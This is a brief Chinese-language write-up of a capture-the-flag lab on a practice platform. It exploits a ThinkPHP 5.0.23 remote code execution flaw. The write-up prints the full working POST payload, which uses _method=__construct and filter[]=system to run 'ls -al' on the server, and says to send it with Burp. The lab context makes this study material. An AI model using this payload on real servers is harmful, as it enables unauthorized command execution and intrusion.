靶场地址【安鸾渗透实战平台】http://www.whalwl.cn:8031
提示:flag在服务器根目录
直接在kali里面搜索ThinkPHP5.0.23相关漏洞
发现了 Remote Code Execution(远程代码执行漏洞)
将该漏洞cp到tp.txt文件并查看
在最下面发现该版本payload
(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
由于是post传参,所以用burp抓包或者浏览器插件